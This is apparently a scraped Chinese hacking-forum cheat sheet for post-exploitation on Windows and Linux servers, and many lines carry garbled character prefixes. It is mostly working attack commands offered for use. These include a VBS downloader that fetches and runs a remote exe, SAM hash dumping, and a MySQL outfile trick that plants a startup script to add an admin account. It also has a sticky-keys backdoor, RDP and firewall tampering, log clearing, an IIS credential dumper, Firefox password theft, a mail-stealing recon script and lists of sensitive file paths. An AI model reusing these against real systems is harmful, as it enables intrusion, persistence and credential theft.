: _, b" ]2 [0 k% \4 e关于tar的打包方式,linux不以扩展名来决定文件类型。
- y1 z8 G9 D* g7 c  P/ D若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
+ ~  u# S. u0 e那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- s+ G3 [/ Q: G}  

提权先执行systeminfo
( u9 k8 G. N& n& x# u  |% p1 i. w( Ktoken 漏洞补丁号 KB956572
Churrasco          kb952004
! A' a& ]# r: x9 k2 @2 O. m命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
  N9 b  X0 h" J, e——————————————
# Q0 ~# C) Z0 H0 c. F  ^( ?2、收集系统信息的脚本  
+ w/ M- d7 t. E) x1 H) v9 zfor window：

& A6 g' y- c' P  G7 P/ Z@echo off
5 F6 t! S3 J+ kecho #########system info collection
systeminfo
ver
: h7 m: t# X) U3 }hostname
) k4 r, A. X+ d: i7 X3 A  @5 Onet user
net localgroup
. k  Q6 S4 q) gnet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
' w- ]  n! k1 g3 |) F: x
: _- V" Q% t; \) oecho
echo ####task-list#############
tasklist /svc
& }/ m2 F1 I  |' {; secho
/ X& S' B, ]( z9 E: A; _echo ####net-work infomation
5 ^! Z5 l* w4 O9 ~ipconfig/all
! W$ Y- R/ M! v. B7 nroute print
$ G7 V5 l% }3 J6 Iarp -a
% H1 r0 Q# u3 m/ ?( ~: L0 o4 Vnetstat -anipconfig /displaydns
& Y6 R& G& {7 O  \8 {4 ?( Pecho
1 O, N4 y: @( |+ D$ R' ~% B# q$ Hecho #######service############
2 Q  ]7 J; Q# [' c: B( Psc query type= service state= all
) A  g: N  j. ^0 gecho #######file-##############
2 r9 H+ K) c* X1 ~, w0 tcd \
tree -F
for linux：
2 v1 _2 @6 z' \! M4 n2 K& W
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 @1 K  a) k, a, p: a0 d8 pecho #######basic infomation##
5 b7 o: g" `1 ~+ Wcat /proc/meminfo
7 ?0 l* V: e; d. g" \; V+ secho
$ h8 o% R4 ~9 C8 \! G3 _cat /proc/cpuinfo
$ E2 K) V% f( T# m% [" Aecho
9 U3 F$ G6 z* s' Mrpm -qa 2>/dev/null
######stole the mail......######
% Z$ x6 u: G  W- b1 Rcp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
8 o# E/ a& W+ F6 Eecho ###atq&crontab#####
atq
; R9 {, j  s" w( ^# z! gcrontab -l
echo #####about var#####
0 H# i4 o+ ?# c5 |1 Z+ t( C* fset

echo #####about network###
) \! f% P* p7 w8 ]% A* h, u####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
& @2 X7 T5 h" `4 y) c) o8 B# d2 s& R2 bhostname
* _2 y, A0 |+ a  M3 k* Pipconfig -a
/ g3 J, }* G/ B3 G1 u9 d" ]arp -v
echo ########user####
cat /etc/passwd|grep -i sh
' a8 A4 {6 F3 _7 |5 F6 f
! N7 W' G7 ]% F. N9 I7 r0 Vecho ######service####
- K. _+ C$ p6 x3 k' U( K! s, X3 ~chkconfig --list
" i6 F0 \, w$ S' E# T, z
for i in {oracle,mysql,tomcat,samba,apache,ftp}
" O1 P$ M' y; B# j+ M2 bcat /etc/passwd|grep -i $i
done

2 X, b! f1 s. o8 s7 T. blocate passwd >/tmp/password 2>/dev/null
1 F/ u( X$ O4 b  F7 O. V/ osleep 5
8 ]4 q2 O2 x- }6 Plocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
- c8 F2 |7 C; `: ]: _4 ulocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
$ Q/ D5 i; [5 x) W+ t1 L9 T  J. k
5 z3 j$ s8 Q5 w% P8 F+ G###maybe can use "tree /"###
echo ##packing up#########
8 z( p- B8 G8 u# U  ztar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
+ a# P4 P& Y" d' W- k. m- `rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
- D' Y4 M) l' e5 C  e——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
( W1 ^9 y$ s( K$ g               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
3 i' w8 G# Y' j( g  u0 }; {据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
# H% a3 j! u5 ]- ^- S5 O4、vbs 下载者
* C2 A1 ~- s2 w1
. p$ q4 D9 Y, S' L# x, Mecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
3 o4 {$ `8 E' u  g. F+ U6 y; oecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
, c  o" Z" b, k0 decho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

4 k( g( {. R7 R2
2 l6 V3 O* k. {. |) E" X% KOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
3 i* w! m' [# fs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
2 U% r. V' O$ dSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
  M  J: }7 q" a7 S2 g
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
: _% e4 p0 E1 n2 D
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
" s5 K4 v5 Q7 x, d——————————————————
5、
. C5 V) I9 q; H/ K& \5 a1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
- v: P% r, Z3 ?9 V8 i8 W% z5 o2.开启XP&2003终端服务
4 i1 Z1 u9 Y1 I0 j) RREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
! P' ]/ L# g2 L3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
, _# A3 a# s$ S; bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
1 Y9 Y" ?5 |, f, F& L, I4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
# m5 B( c0 Z& E' f2 mREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
1 u* u) B0 r+ Y* b9 K( e* Z% Ainsert into a values ("set wshshell=createobject (""wscript.shell"")");
0 {' Q) i  h0 |; `1 x4 R$ k6 finsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
8 J  i, J, ~5 h# y& t: ^  l8 }insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
6 S! y* m/ q" }5 {2 L8 v7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
/ x7 _" h! E5 q4 Z+ z* O9 g8、for /d %i in (d:\freehost\*) do @echo %i
% K3 G4 Q% q' J6 `. O
列出d的所有目录
9 d0 T7 O: D+ c6 G8 Q% @; b  
  Y) [, O+ E. ]& S$ O  for /d %i in (???) do @echo %i
) ^( e6 p; _9 f3 r9 O! ]: o
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
5 m* g6 v; u' l4 o1 E, l9 u  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

1 K7 b0 P) {& \' u+ q# W9 y2 }) j5 k( lfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
/ _# d$ W9 I2 A5 L" c& [
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
; F5 G9 H6 J, n2 @0 V, J/ T) @2 f
* B3 S) C$ r2 h. a5 _0 B8 I4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
6 k& G( l2 Y* B0 }
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
5 k9 G7 C* u; {4 Y2 h●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

( y: k4 d6 G- \6 j$ h$ m6 m7 C4 n9 B2.修改3389的默认端口:
! e  l5 y/ F  `5 R7 ]; U" g/ VHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
( d6 I, O" j9 C3 f+ H0 `3 C" g- e
$ U  U# o- z5 ]; }! p/ Y: r* Q. I3.清除3389登录记录:
1 P$ |0 }& \+ k6 breg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
# q2 o5 k: W3 b7 _4 B1 C
3 X3 v! d/ y1 K" K; _- x4 t/ b4.Radmin密码:
- ~4 ~. ~6 U: h6 o% h# n4 Creg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
) }' [; r( _7 }或者
; `( f; T4 S' a, Pnetsh ipsec dynamic set config ipsecexempt value=0

: l9 R$ _+ q5 n( K+ C; H) l% J7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
* N; {) o6 N* r5 M- b2 U
8.系统口令恢复LM加密:
+ o  O0 M3 f& {, T; ^4 w8 Xreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
3 x& u4 w. u3 }reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
; z; d; D- P: a3 Zreg save hklm\security c:\security.hive
7 K) w1 G5 L  z: B0 c$ `
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

, b8 d: D4 F5 O; U% b$ zreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
, a$ @3 n$ _- l5 J6 \Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
& W! R4 \# M9 J$ S0 \% mchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
# ]" b8 l, C/ y0 mif err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
4 ^7 ?" @. p8 o) bserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
2 e7 d; |4 ?" U% y  R) `. u5 Hpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
+ U/ l/ \7 w" R' v8 R) T7 f' gNext
wscript.echo list
Set ObjService=Nothing
' p/ B2 p" `0 E0 F, a4 I$ O9 Twscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
- Z( N) ]& ~# f复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
+ G* p- a& C0 f2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
3 H, P5 [6 _& i( o  F6 {) R<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
  u  p0 a, r% W8 v3 y% v) Q7 aPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
- K: |6 H( ~( nasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
6 m, X4 B# w5 [# _; ]: t 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

# g+ p  F# P8 n+ M==============================================================
LINUX常见路径：
/ H. Z8 x% J! s5 }7 s
/etc/passwd
, D! k4 ?% o7 B2 G0 Y/etc/shadow
4 b/ f4 I2 I/ P) l# \3 p/etc/fstab
/etc/host.conf
/etc/motd
/ l9 {( F6 d8 E! N$ u3 \% M  L8 c/etc/ld.so.conf
/var/www/htdocs/index.php
6 j% F8 z# n4 ]( g5 a4 t1 ^/var/www/conf/httpd.conf
4 K5 o- h. S" e* t. H$ z/var/www/htdocs/index.html
: T. i/ ]  e$ F1 q. a7 Q/var/httpd/conf/php.ini
8 D! l* ~1 z  L; I2 }: U/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
. M2 c) O, y5 F# u! z: l2 D/var/www/index.html
3 a* c1 J: j( l9 p! j/var/www/index.php
/opt/www/conf/httpd.conf
! R; w$ `) m& \" d, z- C/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
# y* a) |+ E: s& C. z& d2 b' U- b- E/usr/local/apache/htdocs/index.html
+ l1 Q% ^+ Z  b' I8 K7 r8 d/usr/local/apache/htdocs/index.php
. r$ q5 L5 ]; C/usr/local/apache2/htdocs/index.html
2 S4 H2 ?; g; K7 |& h/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
5 n8 n' ^3 p  X5 R/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
& ]+ \9 H; y. n+ T! w& r/www/php4/php.ini
& I5 l0 N$ n4 f+ l1 a& t/www/php5/php.ini
/www/conf/httpd.conf
2 j( ~; Q5 j4 v1 N0 z/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
. I7 S6 L: W7 R. D+ V/ I. `/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
3 {4 F7 l3 I9 h, Y/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
7 W% P2 c" c; [& X9 t: j9 l0 I6 v/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
6 K) {* W. c; f/etc/mysql/my.cnf
5 }# |+ D' d6 B5 L/etc/httpd/conf.d/php.conf
  Z3 B6 B' }) \, O3 A/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
1 {: ]4 j! i' {6 i, A# t6 i5 w/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
; t) q* x) Y' [8 w; G* Y/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
. F1 T$ X) v, u) c4 S8 a: g# h/var/log/apache/access_log
/var/log/apache/access.log
: T  z: w9 r" I3 X; ~/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
$ b: Y( r8 W* v" U3 o/var/www/logs/error.log
: B6 Z' X* E9 e+ X6 ?) }/var/www/logs/access_log
/var/www/logs/access.log
, q- x* f8 P& N( _# `, ]/usr/local/apache/logs/error_log
: b1 ?4 |+ |) j( p4 [/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
# B( H3 N* e- h9 ]/ l6 o0 a/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
1 A; n1 s# W# Y/ ~) `) e# G/etc/httpd/php.ini
4 P" i  @" b1 g9 u7 x7 d/usr/lib/php.ini
2 l6 x) J+ b- R/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
- S$ s- b) H/ |: f: J& w8 V# Y6 t/usr/local/php4/lib/php.ini
+ R% V/ w6 _+ {* b9 J/usr/local/php5/lib/php.ini
3 ^. K5 o$ Y, l4 l8 k, j$ q  l8 x/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
0 E2 s+ c# v1 `/ V/usr/local/apache/conf/php.ini
! Y: Z5 t9 E4 r' i- O# h% A/usr/local/apache/conf/httpd.conf
7 X, d, n# f& w3 @! v* y5 i) ^/usr/local/apache2/conf/httpd.conf
" v$ a7 k9 w' c  G/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
) f) [2 M. _) d2 Q+ u7 V/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
+ h! ^- i% F9 q# c5 t/etc/php5/apache/php.ini
% ?. P5 b' \- Q; P/etc/php5/apache2/php.ini
" v8 m  e8 o1 S: Y) N8 [/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
# S3 @/ G: [; S* ^/web/conf/php.ini
7 |/ J1 m3 @1 X/usr/local/Zend/etc/php.ini
. c3 @" F8 ]1 X- b* o9 j& d( P/opt/xampp/etc/php.ini
4 j& f' [# [2 }7 o8 a/ h) r/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
% z2 O1 ~/ X1 S+ {/etc/php4/cgi/php.ini
6 n$ H, M' X. E8 h9 D8 v5 F/etc/php5/cgi/php.ini
/php5/php.ini
- q) [9 b; X4 M/ F; y. `! }/php4/php.ini
  K& s) p, e+ G- }4 w/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
, H: [6 F& _4 z% N5 A/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
# Z. T, i9 V/ n- X; T# `. _/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
; l; L$ m: B+ D/var/log/mysql/mysql.log
* Q' v2 H# y# Z4 X$ b. M/var/log/mysql/mysql-slow.log
9 \  s; T& {: x+ h8 m/var/mysql.log
1 U+ x2 C  R3 L9 y6 e! u! @1 \/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
. L4 W8 n' d% E4 a/etc/mysql/my.cnf
/etc/my.cnf
8 l2 S2 C8 {0 M" S+ m/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/ H1 P. [" Z: c8 w7 x" {1 r/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
0 Z! h( o! M3 H7 |! E/ r/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
" d1 y( R$ L' s8 @: m
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
5 v$ u# Q# R3 {7 g, n& {c:\boot.ini
: ?$ J6 Q: \2 _c:\1.txt
c:\a.txt
, }; }4 a6 ], }9 S5 _( g
- H7 G/ F$ n" {  P- E! P  d1 {2 g0 `c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
# ?. c9 B# G- @; |0 {& s" z# r: V$ dc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
9 B3 [6 U  v7 B$ ]2 Q8 g1 z$ Z) gC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
/ K% p5 ?- Z+ OC:\WINDOWS\FreeHost32.dll
7 J% |& [/ Y# F; Q; m7 i& }C:\WINDOWS\7i24iislog4.exe
- \& d7 H# Z2 H! y7 jC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
0 i0 f# @& \$ d
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

. r4 s" y3 }+ J: ?* pC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
  c, I5 B: C  z' o$ t2 R" q; GC:\WINDOWS\web.config
: ~, r( e: O) y/ N% Nc:\web\index.html
6 }; P$ D/ T/ D& V1 T, B- ac:\www\index.html
9 l0 ^# G7 V. ]2 _* N2 jc:\WWWROOT\index.html
7 V$ o. I2 X: ~c:\website\index.html
c:\web\index.asp
" r- e) G" X) s' }. oc:\www\index.asp
/ |/ n- ?7 s$ }  J. M# f9 jc:\wwwsite\index.asp
% F% L% Z! R" X' ]( hc:\WWWROOT\index.asp
c:\web\index.php
) J7 c: A/ c- L  ]5 jc:\www\index.php
' T4 \  b9 U9 ]1 w5 B/ i* Zc:\WWWROOT\index.php
c:\WWWsite\index.php
  D+ \+ X4 v# ^$ h+ f. H, P) T4 @c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
2 y* \+ e! R/ F# k  C& G9 D" y& Qc:\website\default.html
c:\web\default.asp
6 g7 y- R  }) u) t2 ~c:\www\default.asp
2 W$ N6 N, C4 l0 L- y# _& U- @c:\wwwsite\default.asp
c:\WWWROOT\default.asp
' H5 _  S- r, g7 n# W) {c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
- p) s1 o6 d% {3 \5 h9 Yc:\WWWsite\default.php
, a; [9 Z9 z8 [6 V1 PC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
& y; X1 u2 c: B7 i6 i/ `, @* W5 kC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
3 c; z# Y" X6 \* ^! IC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
3 z" H8 r. N7 K3 p. _C:\Program Files\360Safe\360safe.exe
9 j& j' Y6 ]$ C! @$ t$ Q  gC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
) I; Y; ~" i% _5 ?& W2 P+ mc:\ravbin\store.ini
5 o2 _* v8 s+ Y& zc:\rising.ini
* r/ f" W, Z& T  h+ ~C:\Program Files\Rising\Rav\RsTask.xml
/ V' T: Z( U+ u5 j" KC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
" T8 D$ j, c% Y& {, a( ^C:\Documents and Settings\Administrator\Cookies\index.dat
) W" a8 t$ K5 d6 oC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
, ~/ x' \* ~$ a' C% L0 [C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
' A$ |% ]/ {, zE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
- d9 {) c! {+ y. n. RC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
; s. p3 z( @6 c9 VC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% x- m- {2 D2 w' U: o+ ^C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
" a' L4 f/ k% x& v# dC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
6 z9 x) _$ j% `- N; b( {: zC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
# _. X4 ~7 P. y2 a" p7 a- XC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
; z! x- c" ^. n3 F( nC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
$ B* R" m1 i+ l! c# l: }5 eC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
9 a0 N3 k0 S/ ~1 }3 j; Z; }C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
4 c! h& o1 P2 @C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
7 U( e3 C# U; g, n& ~0 n7 y7 C2 Q4 vC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
' F6 y, ~1 F9 k" \C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
3 C: n7 G- @& q- `! W' b2 `* hc:\tomcat6\bin\version.sh
) L& W- g9 T& X8 Oc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
0 ^# P. O! R) l! L" n* kC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
2 m. o+ a: u" |2 C. D2 T/usr/tomcat6/bin/startup.sh
& |' Z2 o' Q) z, v; W8 {0 K1 H- Pc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
1 |- G2 H; A' }8 F0 o4 ?. B3 E1 {c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
5 e$ E0 ]+ H, `) {! N$ W6 Rc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
7 u" v' K+ s, Kc:\Program Files\Tencent\qq\Users\All Users\Registry.db
- M" y* ^/ @* `% p8 x9 OC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
9 P- X& z7 E- ]3 W+ F5 [2 T0 h( Q, kc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
2 y& R3 ^  b6 g6 K4 ~3 _* P9 ]3 JC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
& ~/ D- |( i: ^, t' u0 f+ U" ~, NC:\Program Files\tencent\Foxmal\accounts.cfg
